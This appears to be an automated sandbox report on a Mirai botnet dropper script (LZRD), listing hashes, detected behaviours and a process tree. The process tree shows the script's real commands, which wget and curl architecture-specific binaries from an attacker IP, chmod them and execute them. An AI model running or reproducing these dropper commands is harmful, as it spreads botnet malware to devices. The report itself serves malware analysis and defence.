Analysis

  • max time kernel
    12s
  • max time network
    84s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27-12-2024 07:52

General

  • Target

    1.sh

  • Size

    2KB

  • MD5

    e182ba2d64359a90a25281b53cdd0b14

  • SHA1

    d8450d776b48b8834a1c607402eebf97bc0a126b

  • SHA256

    86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3

  • SHA512

    71e3f17025d636f8ccbd469bfc6ddeb7ea14bd71a952ad83058c3fb04141039688f6e178d7f3944627aedd1e7ea2c4924d7b452d9e4db192827bf3339624321d

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 8 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1.sh
    /tmp/1.sh
    1⤵
    • Writes file to tmp directory
    PID:645
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:647
    • /usr/bin/wget
      wget http://159.100.18.129/hiddenbin/Space.arc
      2⤵
      • Writes file to tmp directory
      PID:654
    • /usr/bin/curl
      curl -O http://159.100.18.129/hiddenbin/Space.arc
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:666
    • /bin/cat
      cat Space.arc
      2⤵
        PID:676
      • /bin/chmod
        chmod +x 1.sh busybox Space Space.arc systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-ZNObmM
        2⤵
        • File and Directory Permissions Modification
        PID:678
      • /tmp/Space
        ./Space
        2⤵
        • Executes dropped EXE
        PID:679
      • /usr/bin/wget
        wget http://159.100.18.129/hiddenbin/Space.x86
        2⤵
        • Writes file to tmp directory
        PID:681
      • /usr/bin/curl
        curl -O http://159.100.18.129/hiddenbin/Space.x86
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:682
      • /bin/cat
        cat Space.x86
        2⤵
          PID:683
        • /bin/chmod
          chmod +x 1.sh busybox Space Space.arc Space.x86 systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-ZNObmM
          2⤵
          • File and Directory Permissions Modification
          PID:684
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          PID:685
        • /usr/bin/wget
          wget http://159.100.18.129/hiddenbin/Space.x86_64
          2⤵
          • Writes file to tmp directory
          PID:688
        • /usr/bin/curl
          curl -O http://159.100.18.129/hiddenbin/Space.x86_64
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:690
        • /bin/cat
          cat Space.x86_64
          2⤵
            PID:695
          • /bin/chmod
            chmod +x 1.sh busybox Space Space.arc Space.x86 Space.x86_64 systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-ZNObmM
            2⤵
            • File and Directory Permissions Modification
            PID:697
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            PID:698
          • /usr/bin/wget
            wget http://159.100.18.129/hiddenbin/Space.i686
            2⤵
            • Writes file to tmp directory
            PID:700
          • /usr/bin/curl
            curl -O http://159.100.18.129/hiddenbin/Space.i686
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:705
          • /bin/cat
            cat Space.i686
            2⤵
              PID:711
            • /bin/chmod
              chmod +x 1.sh busybox Space Space.arc Space.i686 Space.x86 Space.x86_64 systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-ZNObmM
              2⤵
              • File and Directory Permissions Modification
              PID:713
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:714
            • /usr/bin/wget
              wget http://159.100.18.129/hiddenbin/Space.mips
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:717
            • /usr/bin/curl
              curl -O http://159.100.18.129/hiddenbin/Space.mips
              2⤵
              • Checks CPU configuration
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:722
            • /bin/cat
              cat Space.mips
              2⤵
              • System Network Configuration Discovery
              PID:728
            • /bin/chmod
              chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64 systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-ZNObmM
              2⤵
              • File and Directory Permissions Modification
              PID:729
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:731
            • /usr/bin/wget
              wget http://159.100.18.129/hiddenbin/Space.mips64
              2⤵
              • System Network Configuration Discovery
              PID:734
            • /usr/bin/curl
              curl -O http://159.100.18.129/hiddenbin/Space.mips64
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:739
            • /bin/cat
              cat Space.mips64
              2⤵
              • System Network Configuration Discovery
              PID:746
            • /bin/chmod
              chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64 systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-ZNObmM
              2⤵
              • File and Directory Permissions Modification
              PID:748
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:749
            • /usr/bin/wget
              wget http://159.100.18.129/hiddenbin/Space.mpsl
              2⤵
              • Writes file to tmp directory
              PID:751
            • /usr/bin/curl
              curl -O http://159.100.18.129/hiddenbin/Space.mpsl
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:755
            • /bin/cat
              cat Space.mpsl
              2⤵
                PID:758
              • /bin/chmod
                chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-ZNObmM
                2⤵
                • File and Directory Permissions Modification
                PID:759
              • /tmp/Space
                ./Space
                2⤵
                • Executes dropped EXE
                PID:760
              • /usr/bin/wget
                wget http://159.100.18.129/hiddenbin/Space.arm
                2⤵
                • Writes file to tmp directory
                PID:762
              • /usr/bin/curl
                curl -O http://159.100.18.129/hiddenbin/Space.arm
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:763
              • /bin/cat
                cat Space.arm
                2⤵
                  PID:764
                • /bin/chmod
                  chmod +x 1.sh busybox Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-ZNObmM
                  2⤵
                  • File and Directory Permissions Modification
                  PID:765
                • /tmp/Space
                  ./Space
                  2⤵
                  • Executes dropped EXE
                  • Modifies Watchdog functionality
                  • Writes file to system bin folder
                  • Reads runtime system information
                  PID:766
                • /usr/bin/wget
                  wget http://159.100.18.129/hiddenbin/Space.arm5
                  2⤵
                    PID:802

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/Space

                  Filesize

                  37KB

                  MD5

                  86b0dbac78477aca5c3dd080ba53e837

                  SHA1

                  2542925378bca24e31bfcbfb9197cb0ba874fb21

                  SHA256

                  43a4a0183be4f67dc7757fd2068e7c3a604423abe3b5e71ad03b9f382a70899f

                  SHA512

                  6189287779a998d158de62b5b434338f7cfb556b92dc11280f0bbb6bedc267864c6b48085c80109169204f1d27b12abb5a268fa58da57b2d6200eb4d6eb25758

                • /tmp/Space

                  Filesize

                  36KB

                  MD5

                  d247ab84c9c090053b129afa0e59bfff

                  SHA1

                  0710e52bdb6ee2c8c4d0d1f88b402f1584d7d3cc

                  SHA256

                  0d6e8522651a07c5b58e1abafb454b35ee08238a9a7512e50e37e72c1b17dfbd

                  SHA512

                  994e66ff08246807783f8ca10df97ebef03fa05aa1ef3eac7f08f285b1057d5e2bb6c5159f6731380a3014e7d2e4a2596e0a9f6cbd1a1f147ae23123adc77520

                • /tmp/Space

                  Filesize

                  37KB

                  MD5

                  2e192eaf9a8107d21822c3ca2ae74c8d

                  SHA1

                  706b0e0202ab2e9e30623be13f29ff219bf1a623

                  SHA256

                  4b7b6dfeedc4816a5a879af9e4b2cc9b9fc16a423190af9aa733eb5f4b6b50a3

                  SHA512

                  a956f3968b06ddc76ce2c1a688aeafaa6132ac38cd363e70e3adbece850baf71c519470769fd9ed6cf67dfd758ad2f38c07ec81860e32b36c0b1037ab7d77072

                • /tmp/Space

                  Filesize

                  43KB

                  MD5

                  bfaa04ccd012b09be805bd489a4775bb

                  SHA1

                  de53bbdf475cdb83582b2018196ad1d4b8719547

                  SHA256

                  421d80f8efd39afb7cfa2bc967026786261fd4267497db25bf33e37d5ee88e47

                  SHA512

                  a6da645dba966dd2aed51876d49462c3af0a8847941da447110cb145e5fea372d184705ade19ac56d5d6741a5923bfeb3f94b9c2c539f0588d92f91c12c05fb6

                • /tmp/Space

                  Filesize

                  43KB

                  MD5

                  37814cf80cb0e8085194e1cf889f1a6f

                  SHA1

                  a1a6fe66714d4547ad3a6eee120098100b86e585

                  SHA256

                  ea1726caced0d7ef3b50e8a1dce83b0949e17aad92b00b8d9b1d88136850a957

                  SHA512

                  ec69e6606a78f2910635a44d482fc7bb29566ee2ab739722c1e1612aa0854114acc48e2a26d845bf63acfa4db7fe8f278c5ec95731f83e66ef936c194566c15b

                • /tmp/Space.arc

                  Filesize

                  113KB

                  MD5

                  cafba952355d27a129910f5e4f3f99ce

                  SHA1

                  61baaf26de5da12a2941ec73ae7bd8fd8f37f704

                  SHA256

                  2fcfb888bc32cadee51779121fe4de505b22668a6a05ad3d50780fa2b3774d37

                  SHA512

                  86b847fe57dd5c4dab277b5f966c1b46899c86c0e4c6a2a1b50838d3b2d47ad79c9944c96c85b2b4f1e68bcba02fd4890aa3452a7cc80778876ede679b3ea730

                • /tmp/busybox

                  Filesize

                  507KB

                  MD5

                  e588bcf03ae78237b58899d35f50c570

                  SHA1

                  2194732ebbefbc27bdae876c77f2a97a20175710

                  SHA256

                  2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88

                  SHA512

                  904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555